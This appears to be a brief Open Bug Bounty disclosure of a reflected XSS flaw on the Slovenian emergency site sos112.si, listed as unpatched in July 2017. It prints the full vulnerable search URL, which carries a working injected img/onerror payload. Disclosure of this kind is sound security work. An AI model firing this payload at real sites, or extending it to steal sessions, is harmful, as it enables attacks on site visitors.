sos112.si XSS vulnerability

Vulnerable URL: http://www.sos112.si/slo/iskanje.php?searchsource=0=test=10=urszr=long=all=wrd%22%3E%3Cimg%20src=null%20onerror=prompt/OPENBUGBOUNTY/%3E==&cmd.x;=0&cmd.y;=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...